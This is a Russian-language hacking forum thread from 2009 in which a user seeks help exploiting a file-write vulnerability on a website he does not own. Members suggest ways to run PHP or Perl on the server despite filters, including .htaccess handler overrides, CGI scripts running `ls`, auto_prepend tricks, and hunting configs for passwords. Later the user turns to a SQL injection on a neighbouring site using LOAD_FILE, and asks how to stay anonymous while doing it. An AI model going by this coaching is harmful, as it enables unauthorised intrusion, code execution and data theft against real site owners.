PDA

Просмотр полной версии : HELP ME PLEASE! Надо вставить <??> в файл


_gr34t
13.05.2009, 11:44
Привет всем! Я нашёл уязвимости на одном сайте, а именно я могупросматривать содержимое и писать в файлы и даже создавать .php файлы. Но вставка текста фильтруется так

$text=htmlspecialchars(stripslashes($_GET['text']));

Как это можно обойти подскажите.

hors_de_prix
13.05.2009, 12:37
это кодирока означает
от ввода html запроса (htmlspecialchars) а от ввода таких символов как /*-- union (stripslashes) тоисть они от взлома .
обычно их часто используют перед запросом к mysql или для написания поиска сайта .



если у тебя есть доступ к редактированию скриптов ,тогда найди вот такой тип кодировки .

$addtext = stripslashes($addtext);
$addtext = htmlspecialchars($addtext);

_gr34t
13.05.2009, 12:48
если у тебя есть доступ к редактированию скриптов ,тогда найди вот такой тип кодировки .

$addtext = stripslashes($addtext);
$addtext = htmlspecialchars($addtext);
не понял. я уже нашёл. Мне надо, чтобы в файл записалось
<?phpinfo();?>
а пишется
&gl;phpinfo();&gt;
именно из-за этой строчки: $text=htmlspecialchars(stripslashes($text));
А редактировать скрипты я могу, но при сохранении они сами и проходят через этот же фильтр. ((((((

D1mOn
13.05.2009, 12:52
ну дык в любой существующий php файл впиши phpinfo();

_gr34t
13.05.2009, 13:02
ну дык в любой существующий php файл впиши phpinfo();
Объясняю: при сохранении любого файла символы < и > заменяются на &lt; и &gt;, т.к. весь текст проходит через фильтр $text=htmlspecialchars(stripslashes($text));
Я думал есть способ как-нибудь это обойти.

Pashkela
13.05.2009, 13:06
значит никак, т.е. попытавшись ПРОСТО отредактировать index.php тот же - ты фактически его убиваешь? Забавно

pento
13.05.2009, 13:08
Привет всем! Я нашёл уязвимости на одном сайте, а именно я могупросматривать содержимое и писать в файлы и даже создавать .php файлы. Но вставка текста фильтруется так

$text=htmlspecialchars(stripslashes($_GET['text']));

Как это можно обойти подскажите.
Опии более подробно как происходит запись в файл.
Ну или хоть сырцы покажи.

_gr34t
13.05.2009, 13:16
Опии более подробно как происходит запись в файл.
Ну или хоть сырцы покажи.

$textdb = "templ/".$pagename.".tpl";
//...
if (isset($add)):
$textob=htmlspecialchars(stripslashes($textob));
$textob=str_replace("\t"," ",$textob);
$fp = @fopen("$textdb","wb");
@fputs($fp,$textob);
@fclose($fp);
chmod ($textdb, 0777);
endif;


Также вот ещё что есть:

if (file_exists("$textdb")):
$text_array = file("$textdb");
if (count($text_array) != 0):
foreach ($text_array as $i=>$string) {
$text_str=$text_array[$i];
$text_str=str_replace(" "," ",$text_str);
echo "$text_str";
}

пробовал в файл $textdb писать это: `ls`, но ничего не выполняется, а просто выводится на экран. ((

_gr34t
13.05.2009, 13:18
Pashkela, да если сохраню. Я только что прочитал что можно обойти htmlspecialchars() с помощью изменения кодировки, но как именно - неизвестно... (((

ShAnKaR
13.05.2009, 13:34
если есть возможность загрузить файл без этих ограничений на содержимое но с ограничением к расширению( к примеру только jpg ), то стоит попробовать создать .htaccess чтоб их обрабатывал как php

zeppe1in
13.05.2009, 13:36
а какже перл?
типо того чтонить

#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print `ls`;

_gr34t
13.05.2009, 14:01
zeppe1in, идея класс, но после создания файла file.pl и попытки к нему обратиться, выдаётся ошибка 403 Forbidden, т.е. нет доступа.

ShAnKaR, а то что ты предложил - это, наверное, единственный выход. Вобщем в папках кроме всего прочего валяются ещё такие файлы: pureftpd-upload.4a01289b.15.106fd.9ff82a4b и т.д. Это может как-нибудь помочь?

zeppe1in
13.05.2009, 14:13
попробуй ещо file.cgi и если можеш то в других директориях типо cgi и cgi-bin. если не поможет можеш ещо попрбовать положить .htaccess с таким содержанием:
Options +ExecCGI
может там ещо есть какието варианты с .htaccess и запуском перл скриптов. также ещо косяк может быть в пути #!/usr/bin/perl.
Вобще попробуй может ты можеш найти офф сайт хостера, а там гденить в факе написано как запустить перл.

Pashkela
13.05.2009, 14:14
Грузи .htaccess и не парь мозг:)

<Files ~ "\.gif$">
AddType application/x-httpd-php .gif
</Files>

Только не забудь его потом удалить. И вообще, всё надо делать очень быстро

Solker
13.05.2009, 14:28
Зачем gif?..
Почему бы не взять любое другое расширение, что бы не портило картинки на сайте.
Например .ph5
И сохранить гифку в формате ph5.

zeppe1in
13.05.2009, 14:37
Solker, ну потому что чаще всего на сервер можно загружать без палева картинки аватары типо. и ph5 скорее всего не пропустят, хотя нужно смотреть по конкретной ситуации.

Pashkela
13.05.2009, 14:44
Это так, для примера было. Можно хоть png вставить. Загрузить, посмотреть что пропустит, дальше думать

_gr34t
13.05.2009, 15:49
Всем спасибо за ответы!

Грузи .htaccess и не парь мозг

<Files ~ "\.gif$">
AddType application/x-httpd-php .gif
</Files>

Pashkela, Так тоже не получится из-за тех же < и >.

zeppe1in

попробуй ещо file.cgi и если можеш то в других директориях типо cgi и cgi-bin. если не поможет можеш ещо попрбовать положить .htaccess с таким содержанием:
Options +ExecCGI
может там ещо есть какието варианты с .htaccess и запуском перл скриптов. также ещо косяк может быть в пути #!/usr/bin/perl.
Вобще попробуй может ты можеш найти офф сайт хостера, а там гденить в факе написано как запустить перл.
file.cgi - тоже самое (403 Forbidden), директория cgi-bin - только на чтение. После создания .htaccess - генерируется Internal Server Error.
Заливать файлы нельзя. Ну ладно буду дальше искать

А вообще интересно, когда ломаешь простой не коммерческий сайт, хватит ли такой защиты, как обычный веб-анонимайзер?

zeppe1in
13.05.2009, 16:07
.htaccess - генерируется Internal Server Error.

А вообще интересно, когда ломаешь простой не коммерческий сайт, хватит ли такой защиты, как обычный веб-анонимайзер?
блин там может нужно права на фаил выставлять, и тогда походу ты в пролёте. попробуй другие дыры поискать, ты вроде читаеш фаилы на сервере? посмотри там пароли какиенить в конфигах и прочее.
а по поводу защиты, я считаю что её нехватит никогда). и что там за анонимайзер у тя? обычные прокси почему не юзаеш?

ShAnKaR
13.05.2009, 18:06
можно загрузить в другую папку даже в темп или сессию с кодом создать и подключить с помощью php_value auto_prepend
наверно можно даже логи с кодом таким макаром подключить

Pashkela
13.05.2009, 18:10
Pashkela, Так тоже не получится из-за тех же < и >.


ОМГ! Убери первую и последнюю строчку, суть не изменится, главное:

AddType application/x-httpd-php .gif

_gr34t
13.05.2009, 18:41
наверно можно даже логи с кодом таким макаром подключить
ShAnKaR, ты имеешь в виду логи апача? у них вроде права даже на чтение не стоят.

Pashkela, ок )) только всё равно загружать ничего нельзя )))



Зато я на соседнем сайте нашёл mysql-injection. Только толку от неё немного.
Народ подскажите, что можно узнать кроме version(), user() и database()?
Знаю ещё что LOAD_FILE() можно сделать, ща попробую...

_gr34t
13.05.2009, 18:59
zeppe1in

и что там за анонимайзер у тя? обычные прокси почему не юзаеш?
обычный www-анонимайзер. Прокси не знаю как-то медленно и отключаются часто.

попугай
14.05.2009, 23:35
ShAnKaR, ты имеешь в виду логи апача? у них вроде права даже на чтение не стоят.

Pashkela, ок )) только всё равно загружать ничего нельзя )))



Зато я на соседнем сайте нашёл mysql-injection. Только толку от неё немного.
Народ подскажите, что можно узнать кроме version(), user() и database()?
Знаю ещё что LOAD_FILE() можно сделать, ща попробую...


пробуй в админку зайти и шелл ливануть...

_gr34t
15.05.2009, 01:27
Ееее! Я всё-таки нашёл дырочку в одном скрипте. Во истину, кто хочет - тот добъётся! )) Только на сервере safe_mode=on и disable_functions=passthru, shell_exec, proc_open. Могу читать папки и файлы только в папке htdocs, система FreeBSD 6.4-RELEASE-p3. Как при таком раскладе можно выполнять комманды на сервере? Подскажите люди добрые!

m0Hze
15.05.2009, 01:59
Под такое наврятли руткиты найдеш в паблике...
я бы копал дальше,все что можно бы посмотрел,хостинг потыркал.
Был случай,когда нашел просто в папке файлег с пассами от мыл,так вот он и подошел к админке хостинга,бывает и такое.В общем, копай.

Zitt
15.05.2009, 03:26
прямо курс молодого бойца )

zeppe1in
15.05.2009, 10:10
Zitt, да уш)
_gr34t, посмотри может сплоенты на пхп есть какиенить которые обходят safe_mode. также опять перловый шел может прокатить. вобщем нужно копать дальше и не сдаваца).

Pashkela
15.05.2009, 12:13
http://forum.antichat.ru/thread114500.html

_gr34t
15.05.2009, 15:18
Залил 2 перловых файла одинакового содержания:
#!/usr/bin/perl
print "Content-Type:text/html\n\n";
print "HELLO WORLD!\n";
назвал их perl.pl и perl.cgi
права у обоих 755
содержимое .htaccess было таким:
Options +ExecCGI
AddHandler cgi-script .cgi .pl
и таким:
Options ExecCGI
AddHandler cgi-script .cgi .pl
и таким:
Options +ExecCGI
AddHandler cgi-script .cgi .pl
ScriptInterpreterSource registry
и таким:
Options +ExecCGI
AddType application/x-httpd-cgi .pl .cgi
и таким:
Options +ExecCGI
AddType application/x-httpd-cgi .pl .cgi
ScriptInterpreterSource registry
и таким:
Options +ExecCGI
AddHandler cgi-script .cgi .pl
AddType application/x-httpd-cgi .pl .cgi
права на .htaccess 744
Владелец скриптов: 80/4962 (uid/gid)
У папки, в которой лежат скрипты права 777, владелец - 4962/4962
Запись в папку cgi-bin запрещена (права 755)
И всё время - ошибка 500 Internal Server Error!!! Что делать я не знаю, подскажите пожалуйста!
А да забыл написать, символы \r из концов строк я удалил.

zeppe1in
15.05.2009, 21:07
дак там как сервер смотря настроен. я грю фак по хостингу не ненайти?) копай в другую сторону тогда.